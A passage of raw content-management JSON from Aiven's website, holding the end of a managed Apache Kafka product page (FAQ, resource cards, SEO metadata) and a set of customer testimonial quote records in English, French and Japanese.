migrations?"},{"_key":"5c37cb26ffe9","_type":"accordionItem","id":"capacity","panelText":[{"_key":"5428104a9cfb","_type":"block","children":[{"_key":"606ddb761159","_type":"span","marks":[],"text":"Scaling options are available for all Aiven for Apache Kafka customers and require near-zero downtime, keeping your cluster up and running during the upgrade. "},{"_key":"302754c088651","_type":"span","marks":["c867c062159a"],"text":"Learn"},{"_key":"302754c088652","_type":"span","marks":[],"text":" how you can increase the capacity of an existing Kafka cluster. "}],"markDefs":[{"_key":"c867c062159a","_type":"link","href":"https://aiven.io/docs/products/kafka/concepts/horizontal-vertical-scaling"}],"style":"normal"}],"title":"How do I ensure adequate capacity if I’m expecting incoming data spikes?"},{"_key":"997cc94f160b","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"}],"title":"FAQ"},{"_key":"8f59bbaf8853","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"headerPosition":"left","id":"resources","items":[{"_key":"ba1fcba3ef56","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/developer/kafka","title":"Developer center"},"subtitle":[{"_key":"2c43a02f6203","_type":"block","children":[{"_key":"f84b5f0f6498","_type":"span","marks":[],"text":"Explore developer guides and get hands-on with sample projects."}],"markDefs":[],"style":"normal"}],"variant":"default"},{"_key":"f612fad59a29e637c25bbf08f1449f2e","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/blog/category/kafka","title":"Blog"},"subtitle":[{"_key":"2c43a02f6203","_type":"block","children":[{"_key":"f84b5f0f6498","_type":"span","marks":[],"text":"Discover the latest features and product announcements for Aiven for Apache Kafka®."}],"markDefs":[],"style":"normal"}],"variant":"default"},{"_key":"70afeb44648c394b3d0a088570548ea6","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/case-studies?services=Apache%2520Kafka%25C2%25AE","title":"Customer stories"},"subtitle":[{"_key":"2c43a02f6203","_type":"block","children":[{"_key":"f84b5f0f6498","_type":"span","marks":[],"text":"Hear from our customers and learn how they use Aiven for Apache Kafka®."}],"markDefs":[],"style":"normal"}],"variant":"default"},{"_key":"c56759ea73cd615f3874dc9b03ae2ce3","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/resources?technology=kafka","title":"Apache Kafka resources"},"subtitle":[{"_key":"2c43a02f6203","_type":"block","children":[{"_key":"f84b5f0f6498","_type":"span","marks":[],"text":"Discover our resource library and access Apache Kafka® related assets and learning material."}],"markDefs":[],"style":"normal"}],"variant":"default"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl","subtitle":[{"_key":"6f6308331952","_type":"block","children":[{"_key":"cca663308826","_type":"span","marks":[],"text":"Dive deeper into what's new and learn how to make the most out of Apache Kafka®. Subscribe to get monthly updates delivered straight to your inbox."}],"markDefs":[],"style":"normal"},{"_key":"e2970215f838","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iframeHeight":100,"iframeSource":"https://go.aiven.io/l/890043/2023-10-20/t7d6j","iframeTitle":"Subscribe to Kafka product updates","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"newsletter","roundedCorners":"rounded-none"}],"title":"Stay updated"},{"_key":"cf168a4da3de","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"de5c0fc00e2e","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka","title":"Go to docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-5a2faa576bc2160fff4bfe4492c44746547cbe6d-1200x630-png","_type":"reference"}},"subtitle":[{"_key":"236b7dd5421f","_type":"block","children":[{"_key":"04ef7683f8ba0","_type":"span","marks":[],"text":"Getting started with Aiven for Apache Kafka, core concepts, how-tos and more."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Documentation","variant":"default"},{"_key":"413fba8cc6bc","_ref":"5ee6de8e-7637-4e70-a253-b3bd1e7d220f","_type":"devArticle"},{"_key":"84e3dbefd248","_ref":"766e5371-c2d6-409d-acba-a478d18ffdd2","_type":"devArticle"}],"itemsPerRow":3,"roundedCorners":"rounded-br"}],"seo":{"_type":"metaData","metaDescription":"Aiven for Apache Kafka – Managed event streaming Kafka service ✓ Microservices ✓ Event-driven architecture ✓ Streaming pipelines ✓ ","metaImage":{"_type":"mainImage","alt":"Managed Apache Kafka service from Aiven","asset":{"_ref":"image-f6195084a2194fcd9e4bbb04dceeea6b27fa99f0-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Apache Kafka®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed Kafka, Kafka as a Service, Cloud Kafka\",\n \"description\": \"Aiven for Apache Kafka, Kafka Service, is a managed high-throughput distributed messaging system that provides consistent, fault-tolerant, and durable message collection and processing hosted on Google Cloud Platform, Amazon Web Services, Microsoft Azure, DigitalOcean, and UpCloud.\",\n \"featureList\": \"Kafka MirrorMaker, Kafka Schema Registry, Kafka Connect, Karapace, Klaw, Aiven service log integration, Aiven metrics integration, VPC peering, High availability, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure, Available in DigitalOcean\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/kafka\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source distributed messaging system\",\n \"applicationSubCategory\": \"Message bus\"\n}","metaTitle":"Managed Apache Kafka as a service | Aiven"},"service":{"_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},"slug":{"_type":"slug","current":"/kafka"},"title":"Kafka"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"4cZBgTqHnqz0KHkACtAFAB","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"06c0710e-e681-4ce1-8f9b-45b11cf1e0ed","_type":"block","children":[{"_key":"9d47dbfa-7210-4988-9618-48c8a6ee28f7","_type":"span","text":"I would definitely recommend Aiven."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-f82947c7c52d76aed2fc87d52894380c21709dbf-800x1000-png","_type":"reference"}},"jobTitle":"Head of Product","name":"Laurens Van Wiele"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"26l9NKDueoPgYQoIi5QBhG","_rev":"CUI2l6FDMEK2xY09V8ZQwT","_type":"quote","_updatedAt":"2022-09-01T16:06:53Z","company":{"_ref":"4TqpVisLv0iRqpMCA1uvHK","_type":"reference"},"content":[{"_key":"6d020002-1421-4d0b-9066-42b94e591348","_type":"block","children":[{"_key":"8babb9ba-602f-401b-a2a8-dc7e20ff879b","_type":"span","marks":[],"text":"\"We need to see what our systems are doing all of the time, and when things go wrong we need targeted information in order to fix it quickly.\""}],"markDefs":[]}],"jobTitle":"Head of Technical Operations","name":"Mika Eloranta"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"6TXYF2gnDN2xFTztntz0oQ","_rev":"CUI2l6FDMEK2xY09V8UzNB","_type":"quote","_updatedAt":"2022-09-01T15:53:00Z","company":{"_ref":"2HMnCLiHZCCZlP60hpMgXA","_type":"reference"},"content":[{"_key":"9d59d5f8-c93c-4a8a-bfb7-84a430c973bc","_type":"block","children":[{"_key":"9f345f47-6d7f-441a-bb01-f24ca2dec247","_type":"span","marks":[],"text":"\"Aiven helps Comcast deliver low latency at massive scale.\""}],"markDefs":[],"style":"normal"}],"image":{"alt":""},"jobTitle":"Business Opportunities Manager","name":"Andrew Gerhold"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"2kswTS7rv1VzgRFxX25lT9","_rev":"STwkGY00NBjXpkjjLybBgn","_type":"quote","_updatedAt":"2022-09-13T14:38:11Z","caseStudy":{"_ref":"4b7c77b5-38c5-4c4a-82b6-53241a06020f","_type":"reference"},"company":{"_ref":"798pg8vpkaOTehLq4MG4RD","_type":"reference"},"content":[{"_key":"adb2662c-31a2-47f4-b4d2-bb7e18c84b64","_type":"block","children":[{"_key":"4ef35bae-c2c5-49d8-b9de-b2ca65202ec5","_type":"span","marks":[],"text":"\"By having Aiven manage our databases, our team can focus on building our core business.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-fb5ff9daaf3f3510b22fa8873c4d7850c0d6d7f2-800x800-png","_type":"reference"}},"jobTitle":"Technical Expert","name":"Andy Librian"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"5CdxPWPXR4IsW7aZTpIqS1","_rev":"oP937kX6v07bcvrIPRQorx","_type":"quote","_updatedAt":"2022-09-16T15:55:43Z","company":{"_ref":"1aEmXcT3h9R3Vg88M7f2dE","_type":"reference"},"content":[{"_key":"7039bd0a-f1bb-48f0-8e9b-ec2e219fd854","_type":"block","children":[{"_key":"c1e71aa8-693f-4519-8ae3-05a670749ac4","_type":"span","marks":[],"text":"\"Aiven for Kafka was a really good option for us because, as we’re moving to AWS, we could use the Bring Your Own Account option.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-edb48adbb98e1f4a07629ee9d41874c6f52d197b-2500x3125-png","_type":"reference"}},"jobTitle":"Manager of System Ops at Paf","name":"Fredrik Wiklund"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"5MBWForfnNzyMsTPqjYKk4","_rev":"XMqVxILwpPMz4xYxc4Betq","_type":"quote","_updatedAt":"2022-09-29T10:08:02Z","company":{"_ref":"2BACGWdhEhfcQse2RSiztJ","_type":"reference"},"content":[{"_key":"55620b2e-195f-4cc9-aeb8-c1d246852d87","_type":"block","children":[{"_key":"2efa6036-126c-4048-8558-0318738c9f30","_type":"span","marks":[],"text":"\"...provisioning a new service now takes about 15-20 minutes end-to-end.\""}],"markDefs":[]}],"image":{"_type":"mainImage","asset":{"_ref":"image-51555c9f7d4bcce542db7cd55658d35d1ace06f6-2500x2500-png","_type":"reference"}},"jobTitle":"Chief DevOps Architect","name":"Alexander Komlik"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"50Lyk5bVyE9eoRRed4FYUH","_rev":"4pG2it9AJU1nJxbjoI1sVO","_type":"quote","_updatedAt":"2022-09-16T14:51:52Z","company":{"_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},"content":[{"_key":"6bbb87f2-7673-4fd3-8871-670b1df35cdf","_type":"block","children":[{"_key":"d609e140-8a37-42a6-bcaf-2fcc48e84926","_type":"span","marks":[],"text":"\"It’s a much better use of our money to pay the management fee than to try to hire a team.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-7960ba9c363493c5753f414aadf4299d72e969f6-2500x2500-png","_type":"reference"}},"jobTitle":"CTO at Swift Solutions","name":"Alfi Zainuddin"} {"__i18n_lang":"en","_createdAt":"2022-09-23T11:44:53Z","_id":"c2049dab-24ef-4e23-9eed-f5d10e870ce5","_rev":"8WeirZ6KB9gJqgJfvYoJqJ","_type":"quote","_updatedAt":"2022-09-29T10:08:31Z","company":{"_ref":"2BACGWdhEhfcQse2RSiztJ","_type":"reference"},"content":[{"_key":"311611680df5","_type":"block","children":[{"_key":"0adcf6215d270","_type":"span","marks":[],"text":"“The point of using Aiven, is to avoid being an expert in every area...”"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-51555c9f7d4bcce542db7cd55658d35d1ace06f6-2500x2500-png","_type":"reference"}},"jobTitle":"Chief DevOps Architect","name":"Alexander Komlik"} {"__i18n_lang":"ja","_createdAt":"2022-06-17T08:37:13Z","_id":"6RKIzfTvV95lb8Kl2J4oMZ__i18n_ja","_rev":"wZSzbSM833LJeYC8qMMQAb","_type":"quote","_updatedAt":"2023-06-02T08:34:19Z","caseStudy":{"_ref":"58ae63fb-c2da-4986-b03f-01d7830d3d82","_type":"reference"},"company":{"_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},"content":[{"_key":"30f26b76bf15","_type":"block","children":[{"_key":"8387b86962620","_type":"span","marks":[],"text":"「KubernetesとTerraformを使えるというのが、Aivenの本当に良い特徴です。私たちはより良いDevOpsフローを手に入れ、設定ミスは過去のものとなりました。」"}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-ccad59f8a84a562c01ce4a97d30f54cc4fcb8dd2-2500x2542-png","_type":"reference"}},"jobTitle":"VP of Engineering","name":"Ignacio Evan Daryanto氏"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"22jBgrWrLcG7dnnatqlE9M","_rev":"c9TjXEWyWBArEQcMlfwssa","_type":"quote","_updatedAt":"2023-06-20T08:21:46Z","caseStudy":{"_ref":"d2079e28-672a-437e-98c0-88b9fc32cd90","_type":"reference"},"company":{"_ref":"75Wc07GSoCxVERISfFLDHl","_type":"reference"},"content":[{"_key":"bedc2ee3-6460-4e85-8280-58eaf538b56e","_type":"block","children":[{"_key":"text","_type":"span","marks":[],"text":"\"We’re really, really happy with the approach that we took and that we chose Aiven as the provider.\""}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-f348a282d2a0f1d03fa0ad100467078e3b76783d-2500x3125-png","_type":"reference"}},"jobTitle":"Lead Software Developer","name":"Nicolas Chiu","ytId":"zUM6sT3SNAM"} {"__i18n_base":{"_ref":"6eyJ8ttwrIKikUTVBeUcEL","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-06-17T08:37:13Z","_id":"6eyJ8ttwrIKikUTVBeUcEL__i18n_fr","_rev":"lbpMA3MBWy0eIji4xeR2F4","_type":"quote","_updatedAt":"2024-12-09T11:05:45Z","caseStudy":{"_ref":"e385d065-242f-4480-9df7-383c7a9cae13","_type":"reference"},"company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"259a7051847f","_type":"block","children":[{"_key":"6e34f0705cd90","_type":"span","marks":[],"text":"« Nous voulons connecter les services aux produits que les gens achètent. »"}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-097a4c715a8af0b00094e818d3e4f7b2af5336f0-2500x2500-png","_type":"reference"}},"jobTitle":"Head of Databases at Adeo","name":"Julien Charlot"} {"__i18n_base":{"_ref":"3jhoeW4WtmLGAT0ZFNUpSq","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-06-17T08:37:13Z","_id":"3jhoeW4WtmLGAT0ZFNUpSq__i18n_fr","_rev":"CsJhS699U5wscrFy7KwVqO","_type":"quote","_updatedAt":"2024-12-09T11:09:02Z","caseStudy":{"_ref":"e385d065-242f-4480-9df7-383c7a9cae13","_type":"reference"},"company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"f54d00018204","_type":"block","children":[{"_key":"fca1338f883d0","_type":"span","marks":[],"text":"« Nous avons pu déployer des bases de données dans le cloud et mettre en place l'ensemble du processus de transformation en 2 à 3 mois. »"}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-097a4c715a8af0b00094e818d3e4f7b2af5336f0-2500x2500-png","_type":"reference"}},"jobTitle":"Head of Databases at Adeo","name":"Julien Charlot"} {"__i18n_base":{"_ref":"3tXwSEUdnarePzOUOioUIA","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-06-17T08:37:13Z","_id":"3tXwSEUdnarePzOUOioUIA__i18n_fr","_rev":"UPIPX87Xr8dUQrGWEOm0Xj","_type":"quote","_updatedAt":"2024-12-10T15:31:35Z","caseStudy":{"_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"reference"},"company":{"_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},"content":[{"_key":"c07d6fd13c67","_type":"block","children":[{"_key":"0ba76b486ffc0","_type":"span","marks":[],"text":"« J’ai aimé le fait que vous créiez simplement un compte et que cela fonctionne immédiatement. »"}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-3630ef334e05fedc0f511631dc37f19ed933f9b4-2500x2542-png","_type":"reference"}},"jobTitle":"Lead Architect at Mirakl","name":"Matthieu Mouminoux"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"fr","_ref":"3jhoeW4WtmLGAT0ZFNUpSq__i18n_fr","_type":"reference"},{"_key":"ja","_ref":"3jhoeW4WtmLGAT0ZFNUpSq__i18n_ja","_type":"reference"}],"_createdAt":"2022-06-17T08:37:13Z","_id":"3jhoeW4WtmLGAT0ZFNUpSq","_rev":"UPIPX87Xr8dUQrGWEJ4knL","_type":"quote","_updatedAt":"2024-12-09T11:09:04Z","caseStudy":{"_ref":"e385d065-242f-4480-9df7-383c7a9cae13","_type":"reference"},"company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"5246a24d-1506-4230-9dbf-a83fe57d30f7","_type":"block","children":[{"_key":"6756270e-5778-433b-8fdb-c4c9540d195a","_type":"span","marks":[],"text":"\"We were able to deliver databases in the cloud and set the entire transformation process within 2-3 months.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-097a4c715a8af0b00094e818d3e4f7b2af5336f0-2500x2500-png","_type":"reference"}},"jobTitle":"Head of Databases at Adeo","name":"Julien Charlot"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"fr","_ref":"6eyJ8ttwrIKikUTVBeUcEL__i18n_fr","_type":"reference"}],"_createdAt":"2022-06-17T08:37:13Z","_id":"6eyJ8ttwrIKikUTVBeUcEL","_rev":"lbpMA3MBWy0eIji4xeR2cI","_type":"quote","_updatedAt":"2024-12-09T11:05:47Z","caseStudy":{"_ref":"e385d065-242f-4480-9df7-383c7a9cae13","_type":"reference"},"company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"29e4ddc8-926b-494d-be8c-3b878fd62d53","_type":"block","children":[{"_key":"115c47e1-222a-4588-87d3-38c8659cd118","_type":"span","marks":[],"text":"\"We want to connect the services to the goods people buy.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-097a4c715a8af0b00094e818d3e4f7b2af5336f0-2500x2500-png","_type":"reference"}},"jobTitle":"Head of Databases at Adeo","name":"Julien Charlot"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"fr","_ref":"6o19IduEDExw1J5ljgPfvG__i18n_fr","_type":"reference"}],"_createdAt":"2022-06-17T08:37:13Z","_id":"6o19IduEDExw1J5ljgPfvG","_rev":"lbpMA3MBWy0eIji4xkABeI","_type":"quote","_updatedAt":"2024-12-10T15:34:52Z","caseStudy":{"_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"reference"},"company":{"_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},"content":[{"_key":"32a9660f-816b-44bc-8058-b900c1ad3e5d","_type":"block","children":[{"_key":"68ad29ba-79a5-42c1-95a6-b10435d6c2be","_type":"span","marks":[],"text":"\"Developers can stay focused on their job, instead of managing Kafka.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-3630ef334e05fedc0f511631dc37f19ed933f9b4-2500x2542-png","_type":"reference"}},"jobTitle":"Lead Architect at Mirakl","name":"Matthieu Mouminoux"} {"__i18n_lang":"en","_createdAt":"2024-02-01T14:30:16Z","_id":"9c8cc397-7b4c-44da-a1b3-c5b2d2d2af80","_rev":"lhvtNBOlLYH5KiQFQCq7MT","_type":"quote","_updatedAt":"2024-02-01T14:36:42Z","caseStudy":{"_ref":"3be9e9c4-7d27-4aae-b2fe-58e28b598249","_type":"reference"},"company":{"_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},"content":[{"_key":"f7fe5bff1806","_type":"block","children":[{"_key":"6f369ef996cf0","_type":"span","marks":[],"text":"With Aiven, our Kafka clusters are much more reliable than they were before. That means our teams can focus on the core business and not care about maintenance. It's also very easy to start up a new cluster now. That makes it a lot more attractive and accessible to other teams."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-c71c4ac8ac3157a70e02b8eaffc1bc1abb88c2e2-1200x628-png","_type":"reference"}},"jobTitle":"Senior Cloud Engineer, idealo","name":"Wanis Fahmy"} {"__i18n_lang":"en","_createdAt":"2023-10-18T15:32:57Z","_id":"bd660861-fdd6-4838-8c78-6a748995588e","_rev":"lhvtNBOlLYH5KiQFQCpbsN","_type":"quote","_updatedAt":"2024-02-01T14:30:50Z","caseStudy":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"},"company":{"_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},"content":[{"_key":"0cb317bcc4ae","_type":"block","children":[{"_key":"9852dc2f4e050","_type":"span","marks":[],"text":"Priceline harnesses the power of Aiven for Apache Kafka on Google Cloud to optimize its infrastructure, resulting in significant cost savings and the establishment of robust data pipelines."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-8426020b815d762c249b9aa4945a7ce7d7ceeb3e-1920x1038-jpg","_type":"reference"}},"jobTitle":"Senior Director of Data, Priceline","name":"Sachin Menon"} {"__i18n_lang":"en","_createdAt":"2024-02-01T14:35:46Z","_id":"13b9f7a4-7dfe-4ae2-9049-6c638f3cf289","_rev":"lhvtNBOlLYH5KiQFQCq5Eh","_type":"quote","_updatedAt":"2024-02-01T14:36:07Z","caseStudy":{"_ref":"cb009e59-7ab2-4357-9574-17e640b69477","_type":"reference"},"company":{"_ref":"540d62ad-dad5-4a28-9c54-94f436709b92","_type":"reference"},"content":[{"_key":"3d069ba3c37f","_type":"block","children":[{"_key":"9f3419f5b95f0","_type":"span","marks":[],"text":"The Avaya's Customer Experience leader gains 40% reduction in compute, 15% better cost management and more efficiencies enabled by Aiven’s open source data platform"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-08d1e5d6d3c034249ac495dc46bc82a841f2ec7e-1837x954-png","_type":"reference"}},"jobTitle":"Senior Vice President, IT Enterprise and Cloud Operations, Avaya","name":"Rich Driscoll"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"fr","_ref":"3tXwSEUdnarePzOUOioUIA__i18n_fr","_type":"reference"}],"_createdAt":"2022-06-17T08:37:13Z","_id":"3tXwSEUdnarePzOUOioUIA","_rev":"CsJhS699U5wscrFy7X0rZM","_type":"quote","_updatedAt":"2024-12-10T15:31:37Z","caseStudy":{"_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"reference"},"company":{"_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},"content":[{"_key":"224a7769-d0d5-4984-bf43-669c05f2dc35","_type":"block","children":[{"_key":"3bc3df02-c3a4-499b-afc2-f743c28f6a04","_type":"span","marks":[],"text":"\"I liked how you just create an account and then it already works.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-3630ef334e05fedc0f511631dc37f19ed933f9b4-2500x2542-png","_type":"reference"}},"jobTitle":"Lead Architect at Mirakl","name":"Matthieu Mouminoux"} {"__i18n_base":{"_ref":"6o19IduEDExw1J5ljgPfvG","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-06-17T08:37:13Z","_id":"6o19IduEDExw1J5ljgPfvG__i18n_fr","_rev":"lbpMA3MBWy0eIji4xkABOo","_type":"quote","_updatedAt":"2024-12-10T15:34:50Z","caseStudy":{"_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"reference"},"company":{"_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},"content":[{"_key":"8848bcac15e1","_type":"block","children":[{"_key":"3521305831660","_type":"span","marks":[],"text":"« Les développeurs peuvent rester concentrés sur leur travail, au lieu de gérer Kafka. »"}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-3630ef334e05fedc0f511631dc37f19ed933f9b4-2500x2542-png","_type":"reference"}},"jobTitle":"Lead Architect at Mirakl","name":"Matthieu Mouminoux"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"6AzLl6zzzhRS6mRt1l2Z50","_rev":"cEPH2uRN58AU2lp9QNGCnB","_type":"quote","_updatedAt":"2022-09-07T19:17:50Z","caseStudy":{"_ref":"aa91894d-4565-4847-8728-392a20b4b507","_type":"reference"},"company":{"_ref":"2G9z2uZhiE8LjSLikpXmFJ","_type":"reference"},"content":[{"_key":"4dcd55d0-3a62-4d68-a047-0cad8a2e237b","_type":"block","children":[{"_key":"f4a68421-7296-4ddb-a981-4bdbcae5cda6","_type":"span","marks":[],"text":"\"We want our developers to focus on bringing value to the business\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-8f6efc49a31c8c7f30a8da4fdde4aa535fdb43b0-2500x2500-png","_type":"reference"}},"jobTitle":"IT Operations Leader","name":"Vincent Leriche"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"6IED2z6V4fPgXvRPdIEGyY__i18n_ja","_type":"reference"}],"_createdAt":"2022-06-17T08:37:13Z","_id":"6IED2z6V4fPgXvRPdIEGyY","_rev":"a4XEptz0xD4dYAWJ07q5cF","_type":"quote","_updatedAt":"2023-09-18T12:20:23Z","company":{"_ref":"2HMnCLiHZCCZlP60hpMgXA","_type":"reference"},"content":[{"_key":"6d131219-7b2b-4eb1-9054-97db695de231","_type":"block","children":[{"_key":"9043faa0-0466-418b-ac13-f42610af4a78","_type":"span","marks":[],"text":"\"Aiven clearly offers superior cost, support and performance.\""}],"markDefs":[]}],"image":{"_type":"mainImage","asset":{"_ref":"image-1c67eaac8f8740b784efb116d89aadb9d3dfd1b7-130x46-svg","_type":"reference"}},"jobTitle":"VP of Engineering at Comcast","name":"Adam Hertz"} {"__i18n_base":{"_ref":"6IED2z6V4fPgXvRPdIEGyY","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-06-17T08:37:13Z","_id":"6IED2z6V4fPgXvRPdIEGyY__i18n_ja","_rev":"uLxsw1wzFtwkvaCA8jwWm5","_type":"quote","_updatedAt":"2023-09-18T12:20:35Z","company":{"_ref":"2HMnCLiHZCCZlP60hpMgXA","_type":"reference"},"content":[{"_key":"b1f07b8c0608","_type":"block","children":[{"_key":"0add66d754db","_type":"span","marks":[],"text":"何十億ものIoTイベントをストリーミング配信"}],"markDefs":[],"style":"h4"},{"_key":"8b71d5bf5f27","_type":"block","children":[{"_key":"a2c5768be30b","_type":"span","marks":[],"text":"「Aivenは明らかにコスト、サポート、パフォーマンスに優れています。」"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-1c67eaac8f8740b784efb116d89aadb9d3dfd1b7-130x46-svg","_type":"reference"}},"jobTitle":"VP of Engineering","name":"Adam Hertz氏"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"11VlpGOEVTipd45WDKDyag","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"130a9c1b-6aff-4ceb-b7cc-491ae35d8436","_type":"block","children":[{"_key":"130448a5-9a0c-4489-983c-e92cba170e5f","_type":"span","text":"Aiven services rock!"}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-c7a2480c409f82ad0f78d2a412f90dede90432f4-500x517-png","_type":"reference"}},"jobTitle":"Head Crustacean at Aiven","name":"Crabby the placeholder quoter"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"13tXxl7dkCVGuvop68w3uV","_rev":"4pG2it9AJU1nJxbjoI1baM","_type":"quote","_updatedAt":"2022-09-16T14:49:50Z","company":{"_ref":"2620044b-8e56-465a-8884-c8c316df6cc2","_type":"reference"},"content":[{"_key":"QGX5DXpV","_type":"block","children":[{"_key":"z1sG1Fbj","_type":"span","marks":[],"text":"\"Engineers feel empowered [...] and as a result, they’re more engaged and interested in their work.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-a77705510fbb8fe00b31ccbf10beaa1315e3a45f-2500x2500-png","_type":"reference"}},"jobTitle":"Engineering Manager at Catalyst","name":"Kim Leung"} 